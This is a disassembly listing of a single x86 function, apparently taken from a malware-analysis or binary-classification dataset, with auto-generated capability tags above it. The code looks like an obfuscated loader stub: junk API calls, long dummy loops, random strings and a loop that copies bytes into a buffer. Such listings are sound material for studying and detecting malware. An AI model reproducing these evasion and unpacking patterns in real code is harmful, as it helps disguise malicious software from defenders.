Function at 0x4056e0
Capabilities:
Create pipe
Get common file path
Get file attributes
Get geographical location
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x444
mov eax, dword [0x425004]
xor eax, esp
mov dword [esp + 0x440], eax
mov edx, dword [0x426940]
mov ecx, dword [0x5264f4]
push ebx
push esi
push edi
xor ebx, ebx
xor eax, eax
mov edi, 0xec58acac
or esi, 0xffffffff
cmp eax, 0x8450db
jne 0x405722
lea ecx, [edx + 0xa231]
cmp ecx, 0x141
jne 0x405736
mov dword [0x427ac8], edi
mov dword [0x427acc], esi
inc eax
cmp eax, 0xb9fa618
jl 0x405715
mov edi, dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [0x5264f4], ecx
xor esi, esi
lea esp, [esp]
cmp esi, 0x562d05
jne 0x405762
mov eax, dword [0x426934]
mov dword [0x52687c], eax
cmp ecx, 0x3c
jne 0x405770
push ebx
call edi
mov ecx, dword [0x5264f4]
inc esi
cmp esi, 0x5f6c74
jl 0x405750
cmp ecx, 0x7c
jne 0x4057f0
lea ecx, [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
call dword [sym.imp.KERNEL32.dll_GetThreadLocale]
push ebx
call dword [sym.imp.KERNEL32.dll_FindAtomW]
push ebx
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea edx, [esp + 0x18]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_GetNumaAvailableMemoryNode]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push ebx
lea eax, [esp + 0x4c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetProfileSectionA]
mov ecx, dword [0x5264f4]
cmp ecx, 0x2d
jne 0x4057f0
push ebx
push ebx
lea ecx, [esp + 0x14]
push ecx
lea edx, [esp + 0x20]
push edx
mov dword [esp + 0x24], ebx
mov dword [esp + 0x1c], ebx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
mov ecx, dword [0x5264f4]
cmp ecx, 0x110a
jne 0x405849
push str.fajoxozusubunilejiha_mezuyecimikisipucabemumurudutufa_vebecohupepux
mov dword [0x5264e8], ebx
mov dword [0x5264ec], ebx
call dword [sym.imp.KERNEL32.dll_SetComputerNameW]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push str.lipoxipulazutazelukibejix
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_HeapValidate]
push ebx
call fcn.0040100f
push ebx
call fcn.0040100f
push ebx
push ebx
call fcn.004010a3
add esp, 0x10
call fcn.00405410
xor ecx, ecx
cmp dword [0x5264f4], ebx
jbe 0x40588b
jmp 0x405860
mov eax, dword [0x52687c]
mov dword [esp + 0xc], eax
mov eax, 0xa231
add dword [esp + 0xc], eax
mov edx, dword [esp + 0xc]
mov al, byte [edx + ecx]
mov edx, dword [0x526214]
mov byte [edx + ecx], al
inc ecx
cmp ecx, dword [0x5264f4]
jb 0x405860
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call fcn.00405450
call fcn.00405670
call fcn.00405440
mov edi, dword [sym.imp.USER32.dll_GetMonitorInfoW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetAtomNameW]
xor esi, esi
lea eax, [esp + 0x20]
push eax
push 0
call edi
push 0
push 0
push 0
call ebx
cmp esi, 0x1a01e
jle 0x4058d6
cmp dword [esp + 0x28], 0xf5bed7
jne 0x4058df
inc esi
cmp esi, 0x1ece7a52
jl 0x4058b3
mov edi, dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterA]
mov ebx, dword [sym.imp.KERNEL32.dll_CreateFileA]
xor esi, esi
lea ecx, [ecx]
cmp esi, 0x12e6c3
jne 0x4058fd
call fcn.00405400
cmp dword [0x5264f4], 0x3dc
mov dword [0x52621c], 0x8e46a6f0
jne 0x405937
xor ecx, ecx
lea eax, [esp + 0x10]
push eax
push ecx
push ecx
push ecx
push ecx
mov dword [esp + 0x20], ecx
call edi
push 0
push 0
push 0
push 0
push 0
push 0
push str.lawokajatopoyuzejidi
call ebx
inc esi
cmp esi, 0x1519a5
jl 0x4058f0
mov ecx, dword [esp + 0x44c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401000
mov esp, ebp
pop ebp
ret